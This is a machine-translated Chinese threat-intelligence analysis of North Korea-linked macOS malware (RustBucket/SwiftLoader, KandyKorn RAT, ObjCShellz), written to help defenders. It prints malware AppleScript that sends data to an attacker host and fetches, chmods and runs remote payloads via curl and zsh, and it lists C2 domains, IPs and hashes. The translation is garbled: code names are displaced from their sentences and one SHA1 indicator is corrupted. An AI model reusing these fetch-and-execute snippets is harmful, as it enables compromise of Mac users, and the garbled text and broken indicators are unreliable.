针对 macOS 的与朝鲜结盟的威胁行为者在 2023 年度过了忙碌的一年,到目前为止,有两个主要活动:RustBucket 和 KandyKorn。最初的 RustBucket 活动使用了第二阶段的恶意软件,称为“SwiftLoader”,它在外部用作 PDF 查看器,用于发送给目标的诱饵文档。当受害者查看诱饵时,SwiftLoader 检索并执行了用 Rust 编写的进一步阶段恶意软件。与此同时,KandyKorn活动是一个精心设计的多阶段行动,针对加密交易平台的区块链工程师。Python 脚本被用来丢弃劫持主机已安装的 Discord 应用程序的恶意软件,随后交付了用 C++ 编写的名为“KandyKorn”的后门 RAT。

我们对这些行动中进一步活动的分析表明,朝鲜威胁行为者现在正在“混合和匹配”这些行动的组件,使用 SwiftLoader 投管来运送 KandyKorn 有效载荷。在这篇文章中,我们将对此活动进行广泛回顾,并提供进一步的指标来帮助安全团队保护其组织。

KandyKorn简介

Elastic 于 2023 年 11 月初发布的研究报告称,与朝鲜结盟的威胁行为者进行了一次复杂的入侵。该妥协涉及一个五阶段的攻击,该攻击始于通过 Discord 进行的社会工程,以诱骗目标下载伪装成加密货币套利机器人的恶意 Python 应用程序,这是加密货币交易者的流行工具。Python 应用程序作为多个良性 Python 脚本分发并包含多个良性 Python 脚本。我们总结了之前对KandyKorn的研究如下:Cross-Platform Bridges.zip

KandyKorn行动概况

KandyKorn行动概况

阶段 0

Discord 用户被社会工程设计为下载恶意 Python 应用程序。最初,恶意软件的链接是通过直接消息发送给目标的,该恶意软件托管在Google云端硬盘上。Cross-Platform Bridges.zip

https[:]//drive.google[.]com/file/d1KW5nQ8MZccug6Mp4QtKyWLT3HIZzHNIL2

应用程序的脚本将包含的文件作为模块导入。Main.pyWatcher.py

第 1 阶段

Watcher.py检查本地 Python 版本并下载并执行 .该脚本下载并执行另一个 Python 脚本 。前者在执行后被删除,而后者被写入 。testSpeed.pyFinderTools/Users/Shared/FinderTools

第 2 阶段

FinderTools下载并执行一个称为 SUGARLOADER 的 Mach-O 二进制文件。同一文件也被复制了两次,在 Discord 应用程序的层次结构中。/Users/Shared/.sld.logappname/Applications/Discord.app/Contents/MacOS/

SUGARLOADER 用 C++ 编写,检查是否存在配置文件,如果缺少,则从远程 C2 下载。C2 地址被硬编码到脚本中,并作为执行参数传递给命令行上的 SUGARLOADER 二进制文件。/Library/Caches/com.apple.safari.ckFinderTools

在 Elastic 看到的入侵中,使用的 C2 托管在域上。FinderToolstp.globa.xyz

tp-globa.xyz/OdhLca1mLUp/lZ5rZPxWsh/7yZKYQI43S/fP7savDX6c/bfC

第 3 阶段

SUGARLOADER 还下载了称为 HLOADER 的 Mach-O 有效载荷并将其写入 。正版 Discord 可执行文件将重命名为同一目录中。/Applications/Discord.app/Contents/MacOS/Discord.lock

装载机

装载机

在此替换之后,当 Discord 启动时,HLOADER 将自身重命名为 ,将文件重命名为 ,并执行正版二进制文件和另存为 的 SUGARLOADER 可执行文件。这会导致整个重命名/重新加载过程重复。MacOS.tmp.lockDiscordDiscord.log

假设受害者可能经常启动 Discord,HLOADER 的目的是提供一种持久性机制,Apple 对后台登录项的监控不会检测到该机制。

第 4 阶段

SUGARLOADER 从先前存储在 的配置文件中检索 C2 URL。在观察到的入侵中,这是通过 TCP 端口 44 进行通信。com.apple.safari.ck23.254.226[.]90

SUGARLOADER 使用它通过 和 在内存中检索和执行 KANDYKORN 远程访问木马。这种技术以前曾在朝鲜 macOS 恶意软件中使用过,从 2019 年的 UnionCryptoTrader 开始。NSCreateObjectFileImageFromMemoryNSLinkModule

在 Elastic 的研究基础上,我们确定了许多其他版本的 KANDYKORN RAT,它们具有以下 SHA1:

SHA1

初次出现

62267b88fa6393bc1f1eeb778e4da6b564b7011e

2023年4月

8f6c52d7e82fbfdead3d66ad8c52b372cc9e8b18

2023年4月

AC336C5082C2606AB8C3FB023949DFC0DB2064D5

2023年4月

编号: 26ec4630b4d1116e131c8e2002e9a3ec7494a5cf

2023年8月

46ac6dc34fc164525e6f7886c8ed5a79654f3fd3

2023年8月

8d5d214c490eae8f61325839fcc17277e514301e

2023年8月

9f97edbc1454ef66d6095f979502d17067215a9d

2023年8月

C45F514A252632CB3851FE45BED34B175370D594

2023年8月

CE3705BAF097CD95F8F696F330372DD00996D29A

2023年8月

e244ff1d8e66558a443610200476f98f653b8519

2023年8月

e77270ac0ea05496dd5a2fbccba3e24eb9b863d9

2023年8月

e68bfa72a4b4289a4cc688e81f9282b1f78ebc1f

2023年11月

其中有趣的是,它被写成 ,我们将在下面回到这一点。26ec4630b4d1116e131c8e2002e9a3ec7494a5cf/Users/Shared/.pld

最近的 RustBucket 活动

乍一看,这似乎是一场完全不同的活动,朝鲜威胁行为者有一个持续不断发展的活动,该活动最初由 JAMF 披露,称为 RustBucket。该活动最初涉及第一阶段的AppleScript小程序和一个名为“内部PDF Viewer.app”的基于Swift的应用程序包,它使用特制的PDF来解锁下载基于Rust的有效负载的代码。

#Lazarus #APT
看起来目标是苹果开发者。

8a8de435d71cb0b0ae6d4b15d58b7c85ce3ef8f06b24266c52b2bc49217be257https://t.co/aXVCAFpVP4

— 2ero (@BaoshengbinCumt) 2023 年 11 月 10 日

此后,人们看到了许多 RustBucket 变体。此外,在过去的几个月里,基于 Swift 的 stager 的几个变体(统称为 SwiftLoader)已经曝光。

虽然其中一些继续以“InternalPDF Viewer”的名称分发,但在 6 月,研究人员发现了一个名为 .此申请由名为“BBQ BAZAAR PRIVATE LIMITED (7L2UQTVP6F)”的开发人员签署和公证(已撤销)。 至少需要 macOS 12.6 (Monterey),并且具有捆绑标识符。它能够在 Intel 和 Apple 芯片设备上运行。SecurePDF Viewer.appSecurePDF Viewer.appcom.softwaredev.swift-ui-test

主要可执行文件用于联系 .这将检索一个名为 的 AppleScript 脚本的文件,该脚本在执行时会将执行进程的文件路径发布到托管在 上的远程服务器。curldocs-send.online/getBalance/usdt/ethereum/gatewindow/1027/shared/ (c806c7006950dea6c20d3d2800fe46d9350266b6)swissborg.blog

set sdf to (POSIX path of (path to me))
set aaas to do shell script "curl -H \"Content-Type:application/json\" -d '{\"zip\":\""
"\"}' https[:]//swissborg[.]blog/tx/10299301992/hash"
--display dialog aaas
run script aaas
--display dialog "Can 't open this file. The file maybe damaged."

连接到 ObjCShellz

JAMF 之前在 11 月初的一篇文章中提到了 JAMF 所联系的域名。swissborg.blogSecurePDF Viewer

JAMF 研究人员描述了在他们看来是晚期 RustBucket 有效载荷的东西,该有效载荷以 Mach-O 二进制文件的形式分发,称为 .研究人员将恶意软件称为 ObjCShellz,因为该代码是用 Objective-C 编写的,并且可以通过调用函数从远程 C2 执行简单的 shell 命令。ProcessRequestsystem()sh -c

我们的研究表明,ObjCShellz 很可能是 SwiftLoader 的后期阶段。SecurePDF Viewer.app

SwiftLoader 连接到 KandyKorn RAT

在野外发现了其他版本的 SwiftLoader,包括一种分布在名为 .Crypto-assets and their risks for financial stability[.]app[.]zip

这看起来像 #Bluenoroff 活动
加密资产及其对金融稳定的风险。应用程序[.]ziphttps://t.co/jzuXP1YiQ6
与 on-global[.] 通信xyz (142[.]11[.]209[.]144)

— KSE (@KSeznec) 2023 年 10 月 26 日

此应用程序还由 Apple 签署并由名为“Northwest Tech-Con Systems Ltd (2C4CB2P247)”的开发人员(已撤销)进行公证。捆绑标识符是,应用的主要可执行文件是 。com.EdoneViewerEdoneViewer

此版本的 SwiftLoader 和 KandyKorn 操作之间存在一些有趣的重叠。

我们的分析表明,它包含一个硬编码的 URL,该 URL 使用单字节 XOR 键 编码。EdoneViewerOx40

解码后,我们可以看到恶意软件会到达域并在 .on-global.xyz/Users/Shared/.pw

D%3D", "http[:]//on-global[.]xyz/Of56cYsfVV8/OJITWH2WFx/Jy5S7hSx0K/fP7saoiPBc/A%3D%3D", 
"/users/shared/Crypto-assets and their risks for financial stability.pdf", "/users/shared/.pw"}
do shell script "curl -o \"" & p & "\" " & d & a & "&& open \"" & p & "\"" & "&& 
curl -o " & b & " " & s & a & " -d pw" & "&& chmod 770 " & b & "&& 
/bin/zsh -c \"" & b & " " & s & " &\" &> /dev/null"

我们注意到,KandyKorn Python 脚本进入了下一阶段,该脚本指向了域上托管的恶意软件,并且 SUGARLOADER 将隐藏文件丢弃在 .FinderToolstp.globa.xyz/Users/Shared/.sld

在 VirusTotal () 上命名的可执行文件将二进制文件中硬编码的 URL 作为启动参数。不幸的是,在我们的测试中,C2 没有响应下载,但该文件包含对 的硬编码引用。.pwdownload.bin060a5d189ccf3fc32a758f1e218f814f6ce81744EdoneViewer/Users/Shared/.pld

回想一下,我们发现了具有上述相同文件名的 KANDYKORN RAT 变体 (26ec4630b4d1116e131c8e2002e9a3ec7494a5cf)。鉴于此处和前面提到的研究人员在基础设施、目标和 TTP 方面的重叠,我们以中等置信度评估了相同的 KandyKorn RAT。.pld/Users/Shared/.pld.pld

SentinelOne 客户免受 KandyKorn 和 RustBucket 恶意软件的侵害

SentinelOne Singularity 可检测并抵御 KandyKorn 和 RustBucket 恶意软件的所有已知组件。

结论

我们的分析在以前的研究结果之间建立了新的联系。我们注意到特定的共享基础结构,它指示 ObjCShellz 有效负载和 SwiftLoader 暂存器之间的链接。我们还提供了第一个线索,表明 RustBucket 滴管和 KandyKorn 有效载荷可能作为同一感染链的一部分共享。

我们的分析证实了其他研究人员的发现,即与朝鲜有关的威胁行为者倾向于重复使用共享基础设施,这为我们提供了扩大对其活动的理解并发现新的妥协指标的机会。下面我们提供了我们在这项研究中观察和分析的指标列表。

妥协指标

加糖机
d28830d87fc71091f003818ef08ff0b723b3f358

装载机
43f987c15ae67b1183c4c442dc3b784faf2df090

坎迪科恩 大鼠
26ec4630b4d1116e131c8e2002e9a3ec7494a5cf 46ac6dc34fc164525e6f7886c8ed5a79654f3fd3 62267b88fa6393bc1f1eeb778e4da6b564b7011e
8d5d214c490eae8f61325839fcc17277e5149fcc17277e5144 301e
8f6c52d7e82fbfdead3d66ad8c52b372cc9e8b18
9f97edbc1454ef66d6095f979502d17067215a9d
ac336c5082c2606ab8c3fb023949dfc0db2064d5
c45f514a252632cb3851fe45bed34b175370d594


ce3705baf097cd95f8f696f330372dd00996d29a
e244ff1d8e66558a443610200476f98f653b8519
e68bfa72a4b4289a4cc688e81f9282b1f78ebc1f
e77270ac0ea05496dd5a2fbccba3e24eb9b863d9

ObjCShell
79337ccda23c67f8cfd9f43a6d3cf05fd01d1588

SecurePDF 查看器
a1a8a855f64a6b530f5116a3785a693d78ec09c0
e275deb68cdff336cb4175819a09dbaf0e1b68f6

加密资产及其金融 stability.app 风险
09ade0cb777f4a4e0682309a4bc1d0f7d4d7a036
5c93052713f317431bf232a2894658a3a4ebfad9
884cebf1ad0e65f4da60c04bc31f62f796f90d79
be903ded39cbc8332cefd9ebbe7a66d95e9d6522

下载器
060a5d189ccf3fc32a758f1e218f814f6ce81744

远程托管的 AppleScript
3c887ece654ea46b1778d3c7a8a6a7c7c7cfa61c
c806c7006950dea6c20d3d2800fe46d9350266b6

网络通信

http[:]//docs-send.online/getBalance/usdt/ethereum
https[:]//drive.google[.]com/file/d1KW5nQ8MZccug6Mp4QtKyWLT3HIZzHNIL2
http[:]//on-global[.]xyz/Of56cYsfVV8/OJITWH2WFx/Jy5S7hSx0K/fP7saoiPBc/A%3D%3D
http[:]//tp-globa[.]xyz/OdhLca1mLUp/lZ5rZPxWsh/7yZKYQI43S/fP7savDX6c/bfC
http[:]//swissborg[.]blog/zxcv/bnm

23.254.226[.]90
104.168.214[.]151
142.11.209[.]144
192.119.64[.]43

文件路径

/Applications/Discord.app/Contents/MacOS/.log
/Applications/Discord.app/Contents/MacOS/appname
/Library/Caches/com.apple.safari.ck
/tmp/tempXXXXXX
/Users/Shared/.pld
/Users/Shared/.pw
/Users/Shared/.sld